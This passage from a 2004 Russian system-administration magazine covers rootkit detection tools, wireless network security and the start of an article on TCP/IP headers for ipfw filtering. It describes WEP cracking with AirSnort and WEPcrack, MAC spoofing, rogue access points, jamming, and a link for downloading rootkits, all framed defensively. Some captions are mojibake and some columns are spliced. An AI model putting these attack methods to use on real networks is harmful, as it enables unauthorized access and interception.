identd, killall, ldsopreload, login, ls, lsof, mail, mingetty, netstat, named, passwd, pidof, pop2, pop3, ps, pstree, rpcinfo, rlogind, rshd, slogin, sendmail, sshd, syslogd, tar, tcpd, tcpdump, top, telnetd, timed, traceroute, vdir, w, write. И на момент моего последнего посещения обнаруживала 51 известных типа rootkit и тестировалась на Linux, FreeBSD, OpenBSD, NetBSD, Solaris, HP-UX 11, True64 и BSDI. Установка заключается в выполнении команды make sense, компиляция обычно проходит без проблем. И далее запускаем:

безопасность # ./chkrootkit ROOTDIR is `/' Checking `amd'... not found Checking `basename'... not infected Checking `biff'... not found Checking `chfn'... not infected

и так далее. Утилита имеет три, на мой взгляд, заслуживающих ключа работы. Если хотите проверить систему, загрузившись с другого компьютера или при помощи LiveCD, то при помощи ключа -r можно указать каталог, который будет использован как корневой при поиске.

При помощи утилиты кstat, ссылку на которую можно найти на http://s0ftpj.org/en/site.html, можно исследовать /dev/kmem. Для установки понадобится наличие исходных текстов ядра и при компиляции нового ядра утилиту необходимо обязательно пересобрать. При помощи ключа -Р можно просмотреть полный список процессов, включая спрятанные LKM (при иследовании проблемы, для интереса сравните с ps aux), получить подробную информацию о процессе можно, воспользовавшись ключом -р с указанием pid. # kstat –p 270

# ./chkrootkit -r /mnt/test

Так как chkrootkit использует для своей работы некоторые типичные Unix-утилиты (awk, cut, egrep, find,head, id, ls, netstat, ps, strings, sed, uname), которые могут быть компрометированы, то во избежание ошибки при поиске необходимо использовать статически скомпилированные версии этих утилит (опять же сохранив их где-нибудь подальше), а каталог, где они находятся, указать при помощи ключа -p: # ./chkrootkit -p /mnt/safebin

Для исследования подозрительных строк в двоичных файлах можно ее запустить в опытном режиме, использовав ключ -х: # ./chkrootkit -x | more

Утилита ifpromisc позволяет определить, находится ли сетевой интерфейс в PROMISCIOUS-режиме. #./ ifpromisc eth0 is not promisc

За обнаружения троянов в модулях ядра отвечают утилиты chkproc и chkdirs. Утилиты chklastlog, chkwtmp и check_wtmpx проверяют удаление данных в лог-файлах, strings обеспечивает работу со строками. И еще на сайте утилиты имеется большое количество ссылок на материалы по теме статьи. Команда find (если ей можно доверять) может обнаружить файлы и каталоги, чьи имена начинаются с точки (или с пробела с точкой), которые обычно используют взломщики для хранения своих данных. # find /

-name "*.*"

Утилита rkdet (http://vancouver-webpages.com/rkdet/) представляет собой демон, который обнаруживает попытку установки rootkit или сниффера. При обнаружении такой попытки системному администратору посылается уведомление по e-mail, протоколирует его в logfile, может отключить систему от сети или вовсе остановить ее. Не требует перекомпиляции вместе с ядром. Единственный путь обнаружения LKM rootkit – это анализ системной памяти. Один из способов состоит в сравнении адреса системного вызова, который rootkit изменяют на свой.

№1(14), январь 2004

Для вывода таблицы адресов системного вызова используйте флаг -s: # kstat –s SysCall sys_exit sys_fork sys_read

Address 0xc0117ce4 0xc0108ebc 0xc012604c

и так далее. И теперь, периодически сравнивая полученные значения, можно проверять наличие данного вида rootkit в системе. И если на выходе получим что-то похожее на: sys_kill

0xc28465d4 WARNING! Should be at 0xc01106b4

то стоит немного призадуматься над тем, что творится в системе. Второй проект Стефана Ауберта (Stephane Aubert) Rkscan (http://www.hsc.fr/ressources/outils/rkscan/download/) предлагает инструмент для автоматического определения наличия очень популярных LKM rootkit Adore (http://spider.scorpions.net/ ~stealth/) и knark (http://packetstrom.securify.com). Здесь все просто: скачиваем, распаковываем, компилируем. # gcc -o rkscan rkscan1.0.c

И запускаем под обычным пользователем, потому что под root программа ругается и работать не хочет. *** Don't run this scanner as root ! *** $ ./rkscan -=Rootkit Scanner -=-=- by Stephane.Aubert@hsc.fr -=Scanning for ADORE version 0.14, 0.24 and 2.0b ... ADORE rootkit NOT DETECTED on this system. Scanning for KNARK version 0.59 ... KNARK rootkit NOT DETECTED on this system. Done.

И конечно же, врага надо знать в лицо, поэтому, чтобы знать, чего можно действительно ожидать от того или иного rootkit, можно только при очень детальном их исследовании. Вы можете скачать и попробовать различные rootkit в действии (только в учебных целях!) с сайта packetstorm (http://packetstorm.decepticons.org/UNIX/penetration/rootkits/). Вот в принципе и все, что хотелось рассказать сегодня. Вывод один – админ должен быть немного параноиком, потому что нападающий всегда идет на шаг впереди. Успехов.

безопасность

БЕЗОПАСНОСТЬ БЕСПРОВОДНЫХ СЕТЕЙ

ВИКТОР ИГНАТЬЕВ 28

безопасность На сегодняшний день Россия является одной из наиболее развивающихся стран в индустрии информационных технологий, но развивающейся не с точки зрения создания новых технологий, а с точки зрения увеличения единиц компьютерной техники в год. Каждый человек приобретает компьютер ради какой-то цели: начинающие фирмы покупают компьютерную технику больше для престижа, чем для реальных задач, в то время как крупные компании и корпорации уже не могут представить свой бизнес без существования компьютеров. Соответственно с увеличением числа компьютерной техники в офисах появляется проблема передачи данных с одной рабочей станции на другую. Эта проблема решается проводкой сети. Если количество машин около 40-50 штук, это ещё можно стерпеть, и протянуть ~500 метров кабеля и расставить маршрутизаторы/свитчи/хабы, но что делать, если речь идёт о крупной корпорации, где количество компьютеров и офисной техники исчисляется сотнями? Закупать километры кабеля и десятки единиц сетевого оборудования? Нет. В XXI столетии люди научились передавать информацию по воздуху. Теперь нет необходимости в проводах и кабелях. Технология беспроводной передачи данных в России считается достаточно новой, в то время как в Европе и США она уже стала обычной составляющей рабочего места ITработника. В настоящее время большое количество фирм покупают готовые решения на базе беспроводных сетей и избавляют себя от массы организационных проблем. Разумеется, стандартов беспроводной связи существует немало, ниже приводятся характеристики основных из них.

Разновидности протоколов и их характеристики Стандарт wireless 1394 – известная технология FireWire нашла для себя новую область применения – беспроводные системы. Wireless Working Group в настоящее время работает над адаптацией протоколов 1394 к беспроводным средам, построенным на основе технологии 802.11, т.е. беспроблемным соединением между FireWire и сетями AirPort/WiFi. Основная идея этого протокола – защита цифровых аудио- и видеоданных от несанкционированного перехвата. Стандарт HiperLAN2 – High Perfomance Radio LAN, как прогнозируют, может стать основным конкурентом технологий беспроводных сетей 802.11. HiperLAN2 ориентирован на работу в диапазоне 5 ГГц и способен обеспечить скорость передачи данных до 54 Мбит/с. Спецификации протокола доступа к среде MAC несколько другая, нежели чем у 802.11а. Для 802.11а он аналогичен Ethernet, а в HiperLAN2 больше напоминает АТМ. Так же HiperLAN2 имеет поддержку трафика мультимедиа и QoS. Стандарт 5-UP – протокол 5-GHz Unified Protocol (5-UP), обеспечивает возможность взаимодействия друг с другом высокоскоростных и низкоскоростных устройств и передачу мультимедийных потоков со скоростью до 108 Мбит/с. 5-UP является расширением для беспроводных сетей IEEE, ETSI.

№1(14), январь 2004

Технология xG – технология модуляции, обеспечивающая возможность высокоскоростной радиопередачи данных по узкой полосе частот. Она позволяет передавать данные на скорости 150 Мбит/c и выше в низкочастотном диапазоне, используемом для пейджинга (35-150 Гц). Сфера применения технологии – DSL, кабельное телевидение, локальные сети и т. п. Технология HomeRF 1.0 нацелена на построение беспроводных сетей в частных домовладениях и малых офисах. Оборудование HomeRF работает в диапазоне частот 2,4 ГГц, для передачи трафика используется метод расширения спектра со скачкообразной перестройкой частоты. В марте 2001 г. появилась модернизация – HomeRF 2.0. В новом стандарте заметно увеличилась поддерживаемая скорость обмена данными до 10 Мбит/с, а также уровень шифрования на уровне MAC – 120 бит. Стандарт IEEE 802.15.1 – Bluetooth предназначен для построения так называемых персональных беспроводных сетей (Wireless Personal Area Network, WPAN). Беспроводная технология Bluetooth является стандартом связи на небольших расстояниях между мобильными персональными компьютерами, мобильными телефонами и иными портативными устройствами. Изначально дальность действия радиоинтерфейса закладывалась равной 10 метрам, однако сейчас спецификациями Bluetooth уже определена и вторая зона около 100 м – для покрытия стандартного дома или вне его. При этом нет необходимости в том, чтобы соединяемые устройства находились в зоне прямой видимости друг друга, их могут разделять «радиопрозрачные» препятствия (стены, мебель и т. п.), и к тому же приборы могут находиться в движении. Для работы радиоинтерфейса Bluetooth используется так называемый нижний (2,45 ГГц) диапазон ISM (industrial, scientific, medical), предназначенный для работы промышленных, научных и медицинских приборов. Радиоканал обладает полной пропускной способностью в 1 Мбит/с, что обеспечивает создание асимметричного канала передачи данных на скоростях 723,3/57,6 Кбит/с или полнодуплексного канала на скорости 433,9 Кбит/с. Базовый стандарт IEEE 802.11. В его основу положена сотовая архитектура, причем сеть может состоять как из одной, так и из нескольких ячеек. Каждая сота управляется так называемой точкой доступа – Access Point (AP). Точка доступа вместе с подключенными рабочими станциями пользователей образует базовую зону обслуживания – Basic Service Set (BSS). Точки доступа многосотовой сети взаимодействуют между собой через распределительную систему Distribution System (DS), представляющую собой эквивалент магистрального сегмента кабельных сетей. Вся инфраструктура, включающая точки доступа и распределительную систему, образует расширенную зону обслуживания – Extended Service Set. Также предусмотрен односотовый вариант беспроводной сети, который может быть реализован и без точки доступа, при этом часть ее функций выполняются непосредственно рабочими станциями. Для обеспечения роуминга предусмотрены специ-

безопасность Òàáëèöà 1. Âûãîäà ïðîòîêîëîâ

Òàáëèöà 2. Ñðàâíåíèå ïðîòîêîëîâ

альные процедуры сканирования и присоединения – Association. Также существует ряд расширений протокола IEEE 802.11, такие как: IEEE 802.11a, b-n. В таблицах 1 и 2 даны сравнительные характеристики наиболее распространённых протоколов. В России уже имеется определённый опыт использования беспроводных сетей, вот некоторые примеры работающих сетей. В октябре 2000 г. в Иваново завершился второй этап развёртки городской беспроводной сети. Сеть работает по стандарту Wi-Fi/802.11b, на частоте 2,4-2,483 ГГц, со скоростью 11 Мбит/с. Число поддерживаемых рабочих мест составляет до 100 радиоабонентов. Сеть, изначально создававшаяся как корпоративная, со временем приобрела статус городской (и областной) беспроводной сети передачи данных. Актуальность Wi-Fi-технологии можно показать на очень ярком примере беспроводной сети передачи дан-

ных Заполярного ГКМ для обмена данными с буровыми площадками филиала «Тюменбургаз» ДООО «Бургаз». Сеть была окончательно развёрнута 31 декабря 2001 г., работает по стандарту Wi-Fi/802.11b. Рабочий диапазон частот: 2400-2483 МГц. Радиус зоны действия сети: до 3 км (местная сеть на буровой площадке), до 25-35 км (магистральный канал). Также можно привести пример функционирования сети в тяжёлых погодных условиях. В марте 2001 г. был закончен финальный этап развёртывания корпоративной сети передачи данных для нескольких нефтегазодобывающих управлений (НГДУ) в районе городов Новый Уренгой и Пыть-Ях. Сеть работает по стандарту Wi-Fi/802.11b, на частоте 2,4-2,483 ГГц, со скоростью 11 Мбит/с, имеет модифицированный протокол MAC в маршрутизаторах ORiNOCO Outdoor Routers. В связи с суровыми погодными условиями всё уличное оборудование монтировалось в специальных термоконтейнерах. Базовые станции монтировались на буровых вышках – на высоте от 30 до 80 м.

безопасность Преимущества беспроводных сетей Итак, предположим, вы уже много наслышаны о беспроводных сетях и решили внедрить эту технологию в свой бизнес. Какую выгоду вы получаете от этого? Простота развёртывания. Сетевым администраторам и прочим IT-специалистам больше не придётся протягивать метры кабелей через чердаки и подвалы. Они с удовольствием потратят это время на настройку и отладку сети. Мобильность. На схеме 1 изображена примерная схема сети малого предприятия. Если бы вашей задачей являлось перенести всю сеть в здание нового офиса, то для этого вам потребовалось бы отключить все сетевые кабели, вытащить их и смотать, а на новом месте проделать обратную процедуру. Даже если переехать нужно было бы всего лишь одному сотруднику, у вас бы ушло некоторое время на демонтаж кабеля и новое подключение. Теперь обратим внимание на схему 2. На ней изображена схема беспроводной сети. (По причине высокого распространения за основу взят стандарт 802.11). Из схемы видно, что пользователи могут безо всяких проблем перемещаться в зоне действия беспроводной сети. В слу-

чае переезда вам достаточно будет установить точку доступа в удобном месте и включить компьютеры.

Средства защиты Многие производители аппаратной части разрабатывают свои методы защиты и шифрования соединений, но они в большинстве своём мало совместимы друг с другом. Далее подробно рассмотрим безопасность сетей стандарта IEEE 802.11b, так как 90% (если не больше) корпоративных сетей развёрнуты именно на его базе. Стандарт 802.11b имеет модель защиты, которая позволяет мобильным клиентам безопасно соединяться и взаимодействовать с точкой доступа и обеспечивает конфиденциальную передачу данных. Она состоит из двух базовых методов: SSID WEP A Service Set Identification (SSID) – служебный идентификатор, это имя сети в сегменте беспроводной сети. Он также логически разделяет пользователей и точку доступа. Вообще для соединения с сетью беспроводной сетевой адаптер (WNIC) клиента должен быть настроен с таким же SSID, что и у точки доступа.

Ñõåìà 1. Îáû÷íàÿ êàáåëüíàÿ ñåòü

Ñõåìà 2. Áåñïðîâîäíàÿ ñåòü. Ñòàíäàðò 802.11

№1(14), январь 2004

безопасность Wired Equivalent Privacy (WEP) – был утверждён IEEE для того, чтобы безопасность WLAN стала сопоставима с обычными проводными сетями, такими как локальная сеть (LAN). Иными словами, WEP представляет собой возможность шифрования передаваемых данных. В процессе WEP-кодирования используется симметричный ключ и математический алгоритм для преобразования данных в нечитаемый текст, называемый текст-шифр. В криптографии симметричный ключ – это значение с переменной длиной, используется для шифрования и расшифровки данных. Любое устройство, участвующее в соединении, должно иметь одинаковый ключ. WEP-ключи конфигурируются WLAN-администратором, чем длиннее ключ, тем сложнее будет расшифровать шифр-текст. WEP использует алгоритм RC4, которому в свою очередь необходим Вектор Инициализации (InitializationVector (IV)). IV это псевдо-случайная бинарная строка для скачкообразного процесса шифрования для алгоритмов, зависящих от предыдущей последовательности блоков шифр-текста. WEP совмещает в себе до 4 симметричных ключей переменной длины, основанных на потоковом шифре RC4. Все ключи статичны и одинаковы для всех устройств в WLAN. Это означает, что все WEP-ключи вручную настраиваются на всех WLAN-устройствах и не меняются, пока администратор не сгенерирует новые ключи. Большинство 802.11bоборудования поддерживают 2 размера ключей: 64-бита 40-битный ключ и 24-битный Вектор Инициализации; 128-бит 104-битный ключ и 24-битный Вектор Инициализации. WEP имеет 2 основных назначения:

Запрещение доступа к WLAN; Препятствие «атаке повтором».

Точка доступа использует WEP для предотвращения доступа к WLAN, посылая текстовые запросы конечному клиенту. Клиент шифрует запрос своим ключом и отправляет его обратно точке доступа. Если результат идентичен, пользователь получает доступ в сеть.

Ðèñóíîê 1

WEP также препятствует «атаке повтором». «Атака повтором» заключается в декодировании пойманных в беспроводной сети пакетов. Если атакуемый WLAN-

пользователь шифрует 802.11b фреймы WEP, атакующий не сможет декодировать данные до тех пор, пока у него не будет верного WEP-ключа. Для получения доступа к WLAN стандарт 802.11b указывает, что клиент должен пройти 2 этапа: Процесс авторизации. Процесс присоединения. Клиент, желающий подключиться к WLAN, должен сперва пройти авторизацию. В процессе авторизации проверяется информация о клиенте, и это является начальным этапом соединения с точкой доступа. Существует 2 типа авторизации: Открытая система (Open System Authentication). Общий ключ (Shared Key Authentication). Открытая система (OSA) подразумевает, что всё взаимодействие проходит в открытом виде, без использования WEP-ключей. Любой клиент может беспрепятственно присоединиться к WLAN. Единственное, что необходимо, – это SSID. Некоторые точки доступа принимают даже нулевой SSID. Точка доступа может быть настроена на оба типа. В отличие от OSA, Shared Key Authentication (SKA) подразумевает посылку запроса на шифрование. Клиент шифрует запрос и посылает его обратно. Точка доступа декодирует ответ и сравнивает его с оригиналом. Если результат положительный, клиент может осуществить присоединение. Присоединение – это финальный этап соединения с беспроводной сетью, результатом которого является полноценное подключение клиента к точке доступа. Таким образом, стандарт 802.11b предусматривает 3 состояния: Состояние 1: Неавторизирован и не присоединён. Состояние 2: Авторизирован и не присоединён. Состояние 3: Авторизирован и присоединён. С технической точки зрения процесс доступа делится на 3 фазы: Фаза поиска. Фаза авторизации. Фаза присоединения. Фаза поиска. Клиент посылает пробный пакет по всем каналам и ждёт ответа от любой точки доступа. Ответ точки доступа содержит информацию, необходимую для процесса соединения. Фаза авторизации. Как указывалось выше, точка доступа может быть одновременно и SKA и OSA типа. Настройка точки доcтупа определяет, какой тип авторизации будет использоваться. Фаза присоединения. Клиент посылает пакет – запрос на присоединение. Точка доступа посылает пакет – ответ, разрешающий присоединение. Состояние «Авторизирован и присоединён» финальный этап инициализации между точкой доступа и клиентом при условии, что отсутствуют другие защитные механизмы, такие как: RADIUS, EAP или 802.1X. Клиент подключается к WLAN.

безопасность Методы атак на беспроводные сети Атаки условно делятся на 3 основных категории: пассивные атаки, активные атаки и атаки помехами. Рассмотрим подробнее каждую из вышеперечисленных.

Пассивные атаки Основной целью таких атак является перехват данных, проходящих по каналам беспроводной сети. Для осуществления этого атакующему необходим компьютер с беспроводным сетевым адаптером и специальным программным обеспечением для перехвата трафика. Такое ПО получило название «сниффер» (от англ. to sniff – нюхать, принюхиваться). Яркими представителями этого класса программ являются: для ОС Windows – WinDump, Zxsniffer, Iris. Для Unix-подобных ОС – TCPDump, Dsniff, Ethereal, Ettercap, AirSnort. Пассивные атаки очень сложно обнаружить, т.к. никаких исходящих данных от атакующего не поступает. Системным администраторам не следует применять DHCP-серверы, или, если они так необходимы, стоит проверять лог-файлы как можно чаще. Если в сети появится неизвестный MAC-адрес, то следует считать, что это потенциальный взломщик. Если вы обнаружили, что под окном вашей организации стоит автомобиль с подозрительной антенной, у водителя выясните назначение этой антенны. Именно он может оказаться злоумышленником. В наше время пассивные атаки очень распространены, это даже стало хобби для многих людей. Такое занятие называется «war driving» или «war plugging» (боевое вождение или боевое присоединение). War-driver воору-

жаются ноутбуком, беспроводной сетевой картой и антенной помощнее. После проезда нескольких километров по мегаполису они уже имеют список ряда беспроводных сетей, 90% из которых плохо защищены. Большинство этих «деятелей» используют бесплатную программу определения беспроводных сетей «The Netstumbler». На рисунках 2 и 3 изображено рабочее окно программы Netstumbler. Программа в основном работает с адаптерами, основанными на чипах «Hermes», так как именно они способны определять точки доступа, находящиеся в одном диапазоне и с активированным WEP. Одной из самых распространённых карт на базе чипа «Hermes» является «ORiNOCO». Другим преимуществом этой карты является возможность присоединения внешней антенны, которая в несколько раз увеличивает диапазон «видимости» сигналов точек доступа. К сожалению, карты на чипах «Hermes» не умеют работать в режиме «прослушки» (promiscuous mode). Для этих целей необходимо иметь карту на чипе «PRISM2». Большинство фирм-производителей используют именно этот чип, например, Linksys WPC. Искушенные war-driver имеют два адаптера, один для поиска сетей, другой для перехвата данных. Несмотря на то что Netstumbler бесплатный продукт, это серьёзное и многофункциональное средство, которое является превосходным решением для поиска беспроводных сетей. Кроме того, Netstumbler может дать детальную информацию относительно найденных беспроводных сетей, эта информация может быть использована в комбинации с GPS, чтобы обеспечить точное местоположение относительно широты и долготы.

Ðèñóíîê 2. Ðàáî÷åå îêíî ïðîãðàììû NetStumbler

№1(14), январь 2004

безопасность После запуска NetStumbler начинает слать широковещательные запросы несколько раз в секунду. Если одна из точек доступа ответила, NetStumbler оповещает об этом пользователя и выдаёт информацию, извлечённую из 802.11b фреймов: SSID, MAC-адрес, канал, силу сигнала и информацию о том, активирован ли WEP или нет. Есть несколько моментов, на которые стоит обратить внимание. Во-первых, большинство точек доступа настроены с SSID по умолчанию, то есть настройщики его не меняли. Во-вторых, в некоторых сетях SSID имеет смысловое отношение к сети, например: universityserver. Мы можем предположить, что эта точка доступа какого-то учебного заведения. Вышеперечисленные особенности делают работу атакующего намного проще. Использование Netstumbler – начальный этап злоумышленника. После сбора информации о беспроводной сети и получения SSID, атакующий подключается к ней, чтобы перехватить трафик. Трафик может содержать большое количество информации о сети и о компании, которая использует эту сеть. Например, просматривая трафик, злоумышленник может выяснить адреса DNS-серверов, страницы, заданные по умолчанию в браузерах, сетевые имена, сессии авторизации, и т. д. Эта информация может быть использована для дальнейших атак. Если в сети активирован WEP, атакующий соберёт

Ðèñóíîê 3. Ðàáî÷åå îêíî ïðîãðàììû NetStumbler

достаточное количество трафика для взлома шифрованных данных. Netstumbler работает с сетями, настроенными как Открытая система. Это значит, что сеть обнаруживает своё существование и посылает в ответ свой SSID. Однако это не значит, что сеть может быть с лёгкостью скомпрометирована, т.к. могут быть использованы дополнительные средства защиты. Для защиты от Netstumbler и других программ определения беспроводных сетей, администраторы должны конфигурировать беспроводные сети как Закрытые системы. Это значит, что точки доступа не будут отвечать на запросы «нулевого» SSID и будут «невидимы» для таких программ, как Netstumbler, которые полагаются на эту технологию поиска беспроводных сетей. Тем не менее, возможен захват «сырых» 802.11bфреймов и их последующее декодирование при помощи «Ethereal» и «WildPacket’s AiroPeek». Также для поиска беспроводных сетей могут быть использованы анализаторы спектра радиочастот. Несмотря на несовершенность закрытой системы, следует использовать эту именно технологию. Следует отметить, что точки доступа работают как полудуплексные устройства, такие как хабы и репитеры. Это означает, что все устройства в сети могут «видеть» трафик других устройств. Единственной защитой является шифрование трафика разными методами: WEP, VPNs, SSL, Secure Shell (SSH), Secure Copy (SCP), и т. д. Некоторые методы могут быть более эффективными, всё зависит от обстоятельств.

безопасность Активные атаки Как только злоумышленник получает доступ к сети при помощи пассивных атак, он приступит к осуществлению активной атаки. В большинстве своём активные атаки на беспроводные сети мало чем отличаются от атак на обычные сети. Но с ростом популярности беспроводных сетей увеличилось и число разновидностей атак на них, например, «drive-by spamming». Эта атака представляет собой рассылку спама из скомпрометированной сети. Ввиду происхождения беспроводных сетей и несовершенности WEP, неавторизированный доступ и спуфинг являются самыми распространёнными атаками. Спуфингом называют ситуацию, при которой неавторизированный клиент выдает себя за авторизированного. Самой распространённой защитой от подобного рода атак является фильтрация MAC-адресов. Список разрешённых MAC-адресов хранится на точке доступа. Но этот метод тоже не совершенен. Осуществить смену MAC-адреса не составляет особого труда. В ОС Windows это возможно при помощи таких программ, как «Smack», «USTmacdak», а в Unix-подобных ОС командой «ifconfig». К тому же MAC-адреса передаются в сети открытым текстом, и их сбор также не составит большого труда. В сети может быть активирован WEP, но его тоже можно обойти, т.к. текст-запрос и шифр-текст передаются в открытом виде, и атакующий сможет подобрать ключ и проникнуть в сеть. Для взлома WEP злоумышленнику понадобится специальный сниффер. AirSnort – специальная программа для *nix-платформ для взлома WEP-ключей.

Рабочее окно программы отображено на рисунке 4. AirSnort должен собрать от 500мб до 1000 Мб трафика чтобы получить WEP-ключ. Это может занять от пары часов до нескольких дней, всё зависит от загруженности сети: чем она загруженней, тем быстрее атакующий получит ключ. AirSnort использует маленький 24-битный IV, так что не имеет особого значения, какой длины ключ: 64-битный или 128-битный. После того как хакер захватил нужное количество трафика, ему понадобится программа WEPcrack. Это скрипт, который используют для вычисления WEP-ключа из захваченного трафика. Как только ключ захвачен, атакующий может присоединиться к точке доступа. При соединении с беспроводной сетью взломщик использует обычные средства, характерные для кабельных сетей, такие как: подбор паролей, поиск уязвимых сервисов или просто DoS-атаки или SYN-флуд. Так, одной из самых результативных атак является атака «Man-in-the-Middle». Атака человек-по-середине заключается в перехвате сеанса 2 клиентов. Атакующий имеет 2 сетевых адаптера и организовывает фальшивую точку доступа. Он заставляет других клиентов использовать его точку доступа, а сам перенаправляет трафик на реальную точку доступа, тем самым, получая доступ ко всем сеансам связи. Злоумышленник может установить фальшивую точку доступа в машине, под окном организации, в вентиляционной системе, под столами, в кладовках и т. п. Если его антенна достаточно мощная, то ему необязательно ставить фальшивку близко к легитимной точке доступа.

Ðèñóíîê 4. Ðàáî÷åå îêíî ïðîãðàììû AirSnort

№1(14), январь 2004

безопасность Атаки помехами Цель атаки – глушение сигнала, т.е. это атака на отказ в обслуживании, специфичная для беспроводных сетей. Суть атаки заключается в генерации радиошума на частоте работы беспроводной сети. Это не значит, что глушение сигнала является чётким признаком атаки, так как помехи могут исходить от посторонних радиоустройств, таких как радиотелефоны, пейджеры, микроволновые печи и т. п. В таких случаях администратор должен принять следующие меры: отключить bluetooth-устройства в зоне действия беспроводной сети, убрать радиотелефоны и прочую радиотехнику, методом исключений выявить источник помех и убрать его. Умышленная атака происходит следующим образом: Атакующий анализирует спектр. Выявляет частоты, на которых работает беспроводная сеть. Генерирует мощный сигнал на найденных частотах, тем самым подавляя сигнал беспроводной сети. К счастью, данный метод не распространён, так как конечный итог несоизмерим с затратами на его реализацию. Много мороки для отключения сети на некоторое время. В то же время администратору достаточно просто переключить сеть на другую частоту.

Рекомендации по обеспечению безопасности беспроводных сетей Подводя итоги, рассмотрим ряд рекомендаций по обеспечению безопасности беспроводной сети. Приобретайте WLAN-продукты с собственным механизмом защиты. Установите RADIUS-серверы на кабельном участке сети, для авторизации беспроводных клиентов. Имейте в виду, что Extensible Authentication Protocol – протокол расширенной авторизации (EAP) может быть использован совместно с 802.1X. Блокируйте доступ к кабельной сети, пока RADIUS-сервер не авторизирует WLAN-клиента. Устанавливайте межсетевой экран перед точкой доступа, это позволит заранее отфильтровать подозрительную активность. Все неиспользуемые сервисы должны быть отключены, а попытки их использования записаны в системных журналах(SysLog), которые в свою очередь должны быть установлены в демилитаризованной зоне (DMZ). Систему обнаружения атак (IDS) также никто не отменял. Неплохой идеей является развёртка VPN и «отселение» WLAN в неё. Это позволит вам воспользоваться следующими методами шифрации данных: IKE – 3DES, SHA-HMAC, DH Group 2 и общий ключ. IPSec – 3DES, SHA-HMAC, без PFS и режим тоннелирования. Активируйте WEP, несмотря на его несовершенность. Статистика показывает, что всего лишь 30% точек доступа использует WEP.

.Организуйте систематическую смену WEP-ключей. .Смените SSID, установленный по умолчанию на чтонибудь трудно угадываемое.

Используете систему общего ключа вместо открытой системы.

Используйте фильтрацию MAC-адресов. Организуйте систематическую инвентаризацию бес

проводных сетевых адаптеров, чтобы убедиться, что каждый сотрудник пользуется своим адаптером. Блокируйте MAC-адреса утраченных WLAN-адаптеров. Применяйте пароли на точках доступа. Обеспечьте сотрудников антивирусным программным обеспечением и персональными межсетевыми экранами. Совмещая межсетевой экран с IPsec, SSH, или SSL, вы значительно укрепите безопасность своей сети. Имейте в виду, что любой, находясь в зоне действия точки доступа, может подключиться к сети.

Ссылки на программные продукты 1. AirSnort – http://airsnort.sourceforge.net 2. WEPcrack – http://wepcrack.sourceforge.net 3. NetStumbler – http://www.netstumbler.com

безопасность

САМ СЕБЕ АНТИХАКЕР ЗАЩИТА ОТ ХАКЕРСКИХ АТАК С ПОМОЩЬЮ ipfw На то и хакер в Сети, чтоб админ не дремал. Народная мудрость

То, что Интернет является агрессивной средой, уже давно ни для кого не является новостью. Стоимость информации может быть настолько высока, что с лихвой окупает любые затраты на ее получение. Кроме того, обострение конкуренции подчас приводит к выбору весьма агрессивных методов борьбы с «коллегами по цеху», одним из которых является вывод из строя или временная недоступность сетевого оборудования конкурента. Ну и с каждым днем все острее становится проблема сетевого хулиганства. Умение защищать сервер и локальную сеть предприятия от подобных атак становится обязательным требованием к квалификации системного администратора даже на небольших предприятиях, на которых самая секретная информация – почтовые ящики сотрудников.

СЕРГЕЙ СУПРУНОВ 38

безопасность Известно, что любая грамотная атака начинается с разведки – сбора всей доступной информации об объекте нападения. Цель данной статьи – познакомить читателя с основными методами подобной разведки и способами защиты от них с помощью пакетного фильтра ipfw. Попутно нам придется подробно рассмотреть базовые протоколы передачи данных (IP, TCP, UDP) и программу tcpdump, позволяющую осуществлять контроль за проходящими через машину пакетами.

Стек протоколов TCP/IP Протоколы TCP/IP являются базовыми в сети Интернет. В эталонной модели OSI они занимают верхние уровни, начиная с сетевого (протоколы ARP и RARP также частично выполняют функции канального уровня). Поскольку наша задача – защита с помощью брандмауэра ipfw, работающего на сетевом и транспортном уровнях, то подробно рассмотрим интернет-протоколы этих двух уровней.

Наиболее важной информацией, содержащейся в IPзаголовке, для нас является время жизни пакета и адреса источника и приемника. Заметим, что информации о портах в IP-заголовке нет, поскольку данная информация используется на транспортном уровне и не требуется для маршрутизации пакета. Помимо IP-протокола на сетевом уровне располагается также протокол ICMP – Internet Control Message Protocol, который используется для обмена служебной информацией между хостами. Наиболее известный и наглядный пример использования этого протокола – команда ping. Заголовок ICMP-пакета во многом идентичен IP-заголовку.

Протоколы транспортного уровня Транспортный уровень представлен протоколами TCP и UDP. Общий формат заголовка TCP-пакета:

Òàáëèöà 1

Протоколы сетевого уровня Основным интернет-протоколом сетевого уровня является протокол IP. В его задачу входит маршрутизация пакетов в соответствии с IP-адресами, то есть определение маршрута следования пакета от источника к приемнику и передача его по требуемому адресу, а также фрагментация и сборка пакетов верхних уровней. Основной формат заголовка IP-пакета представлен на рисунке:

Первые четыре байта содержат информацию о портах источника и получателя (по два байта каждый). Номер последовательности (4 байта) используется для нумерации передаваемых байтов (позволяет контролировать порядок получения и сборки). Следующие четыре байта (номер подтверждения) содержат номер последовательности следующего (ожидаемого) байта и устанавливаются при подтверждении получения предыдущего пакета. Далее следует четыре бита длины заголовка и четыре зарезервированных для дальнейшего использования бита. Чрезвычайно важный 14-й байт (флаги TCP-заголовка) подробно рассмотрен в следующем абзаце. Далее по два байта занимает информация об окне (размере буфера) приема (Window), контрольной сумме и указателе на первый байт данных, помеченный на первоочередную обработку (Urgent). Ниже представлен формат 14-го байта, содержащего флаги TCP-пакета:

FIN – флаг «мягкого» завершения соединения. При поПервый байт делится между номером версии протокола (4 для IPv4) и длиной IP-заголовка HdrLen (как правило 20 байт). Следующий байт задает тип обслуживания пакета (TOS), далее два байта – общая длина пакета. Следующие восемь байт содержат информацию о фрагментации пакета, необходимую для его последующей сборки. Среди прочего здесь располагается флаг DF, установка которого запрещает фрагментацию пакета. Девятый и десятый байты содержат информацию соответственно о времени жизни пакета (TTL) и протоколе (Protocol) верхнего уровня, которому пакет должен быть передан для дальнейшей обработки; затем два байта – контрольная сумма. Замыкают заголовок IP-адреса источника и приемника, занимающие по четыре байта. В общем случае далее могут следовать опциональные поля (их количество определяется длиной заголовка пакета). Затем идут собственно пользовательские данные. Под пользователем в данном случае понимается протокол более высокого уровня (TCP или UDP).

№1(14), январь 2004

